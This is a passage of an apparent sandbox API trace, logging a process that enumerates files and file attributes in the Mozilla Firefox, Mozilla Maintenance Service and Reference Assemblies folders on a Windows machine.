	[0055.433] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\removed-files" (normalized: "c:\\program files (x86)\\mozilla firefox\\removed-files"), fInfoLevelId=0x0, lpFileInformation=0x1280d318 | out: lpFileInformation=0x1280d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x13c55480, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x8f3b)) returned 1
	[0055.433] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\safari passive sounds.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\safari passive sounds.exe"), fInfoLevelId=0x0, lpFileInformation=0x1280d368 | out: lpFileInformation=0x1280d368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac3ffcd0, ftCreationTime.dwHighDateTime=0x1d4cc58, ftLastAccessTime.dwLowDateTime=0xba33afe0, ftLastAccessTime.dwHighDateTime=0x1d4ffb5, ftLastWriteTime.dwLowDateTime=0xba33afe0, ftLastWriteTime.dwHighDateTime=0x1d4ffb5, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1
	[0055.433] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.chk"), fInfoLevelId=0x0, lpFileInformation=0x1280d3b8 | out: lpFileInformation=0x1280d3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3744cb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383)) returned 1
	[0055.433] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.dll"), fInfoLevelId=0x0, lpFileInformation=0x1280d408 | out: lpFileInformation=0x1280d408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3744cb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x25870)) returned 1
	[0055.434] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall"), fInfoLevelId=0x0, lpFileInformation=0x1280d458 | out: lpFileInformation=0x1280d458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0925200, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.435] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.435] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0925200, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.435] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0925200, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.435] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4a579b00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0xd4fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="helper.exe", cAlternateFileName="")) returned 1
	[0055.435] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0925200, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb1049400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="shortcuts_log.ini", cAlternateFileName="SHORTC~1.INI")) returned 1
	[0055.435] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef1c160, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb12385e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="uninstall.log", cAlternateFileName="UNINST~1.LOG")) returned 1
	[0055.435] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.435] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.435] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\helper.exe"), fInfoLevelId=0x0, lpFileInformation=0x1280d638 | out: lpFileInformation=0x1280d638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4a579b00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0xd4fa0)) returned 1
	[0055.436] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\shortcuts_log.ini"), fInfoLevelId=0x0, lpFileInformation=0x1280d6d8 | out: lpFileInformation=0x1280d6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0925200, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb1049400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x142)) returned 1
	[0055.436] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\uninstall.log"), fInfoLevelId=0x0, lpFileInformation=0x1280d728 | out: lpFileInformation=0x1280d728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef1c160, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb12385e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x794)) returned 1
	[0055.437] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\update-settings.ini"), fInfoLevelId=0x0, lpFileInformation=0x1280d778 | out: lpFileInformation=0x1280d778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x9f38e880, ftLastWriteTime.dwHighDateTime=0x1ced1d1, nFileSizeHigh=0x0, nFileSizeLow=0x89)) returned 1
	[0055.437] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\updater.exe"), fInfoLevelId=0x0, lpFileInformation=0x1280d7c8 | out: lpFileInformation=0x1280d7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x37dd6180, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x42e70)) returned 1
	[0055.438] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\updater.ini"), fInfoLevelId=0x0, lpFileInformation=0x1280d818 | out: lpFileInformation=0x1280d818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd)) returned 1
	[0055.438] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapp-uninstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x1280d868 | out: lpFileInformation=0x1280d868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3875f800, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x29bd0)) returned 1
	[0055.439] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt"), fInfoLevelId=0x0, lpFileInformation=0x1280d8b8 | out: lpFileInformation=0x1280d8b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.439] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.439] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1efb80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1efb80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x593e4d80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x69f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1
	[0055.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa91c1500, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapprt.ini", cAlternateFileName="")) returned 1
	[0055.439] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.439] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.439] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\omni.ja"), fInfoLevelId=0x0, lpFileInformation=0x1280d9a8 | out: lpFileInformation=0x1280d9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1efb80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1efb80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x593e4d80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x69f7)) returned 1
	[0055.441] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\webapprt.ini"), fInfoLevelId=0x0, lpFileInformation=0x1280d9f8 | out: lpFileInformation=0x1280d9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa91c1500, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e7)) returned 1
	[0055.441] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt-stub.exe"), fInfoLevelId=0x0, lpFileInformation=0x1280da48 | out: lpFileInformation=0x1280da48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x390e8e80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a670)) returned 1
	[0055.442] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\xul.dll"), fInfoLevelId=0x0, lpFileInformation=0x1280da98 | out: lpFileInformation=0x1280da98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1a38c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49266e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1502070)) returned 1
	[0055.442] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service" (normalized: "c:\\program files (x86)\\mozilla maintenance service"), fInfoLevelId=0x0, lpFileInformation=0x1280dae8 | out: lpFileInformation=0x1280dae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.442] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service" (normalized: "c:\\program files (x86)\\mozilla maintenance service"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.442] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\*", lpFindFileData=0x124159e0 | out: lpFindFileData=0x124159e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf8093e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8093e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1d270, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1
	[0055.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08409c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x19ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall.exe", cAlternateFileName="UNINST~1.EXE")) returned 1
	[0055.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf82f540, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf82f540, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 1
	[0055.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.443] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.444] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe"), fInfoLevelId=0x0, lpFileInformation=0x1280dc28 | out: lpFileInformation=0x1280dc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08409c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x19ee4)) returned 1
	[0055.445] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x1280dc78 | out: lpFileInformation=0x1280dc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf8093e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8093e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1d270)) returned 1
	[0055.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\updater.ini"), fInfoLevelId=0x0, lpFileInformation=0x1280dcc8 | out: lpFileInformation=0x1280dcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf82f540, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf82f540, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd)) returned 1
	[0055.447] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies" (normalized: "c:\\program files (x86)\\reference assemblies"), fInfoLevelId=0x0, lpFileInformation=0x1280dd18 | out: lpFileInformation=0x1280dd18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec36cd00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec36cd00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.447] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies" (normalized: "c:\\program files (x86)\\reference assemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.447] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x124159e0 | out: lpFindFileData=0x124159e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec36cd00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec36cd00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.447] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec36cd00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec36cd00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.447] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
